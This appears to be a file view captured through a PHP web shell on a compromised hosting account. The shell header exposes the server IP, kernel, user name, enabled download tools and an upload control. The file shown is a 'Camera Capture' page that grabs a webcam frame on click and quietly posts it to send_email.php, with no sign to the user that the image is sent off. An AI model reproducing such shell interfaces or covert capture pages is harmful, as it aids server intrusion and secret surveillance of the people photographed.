| Server IP : 69.72.244.102 / Your IP : 216.73.216.164 Web Server : LiteSpeed System : Linux s3434.fra1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64 User : konzalta ( 1271) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/konzalta/gikuyu.online/incidents/ |
Upload File : |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Camera Capture</title>
</head>
<body>
<h1>Camera Capture</h1>
<button id="captureBtn">Capture Photo</button>
<canvas id="canvas" style="display: none;"></canvas>
<script>
document.getElementById('captureBtn').addEventListener('click', function() {
// Access the camera
navigator.mediaDevices.getUserMedia({ video: true })
.then(function(stream) {
var video = document.createElement('video');
document.body.appendChild(video);
video.srcObject = stream;
video.play();
// Capture photo
setTimeout(function() {
var canvas = document.getElementById('canvas');
var context = canvas.getContext('2d');
canvas.width = video.videoWidth;
canvas.height = video.videoHeight;
context.drawImage(video, 0, 0, canvas.width, canvas.height);
// Convert to data URL
var dataURL = canvas.toDataURL('image/jpeg');
// Send data to PHP script via AJAX
var xhr = new XMLHttpRequest();
xhr.open('POST', 'send_email.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onload = function() {
if (xhr.status === 200) {
console.log('Email sent successfully.');
} else {
console.log('Error sending email.');
}
};
xhr.send('photo=' + encodeURIComponent(dataURL));
// Stop video stream
video.pause();
stream.getTracks().forEach(function(track) {
track.stop();
});
document.body.removeChild(video);
}, 1000); // Adjust the delay as needed
})
.catch(function(err) {
console.error('Error accessing camera:', err);
});
});
</script>
</body>
</html>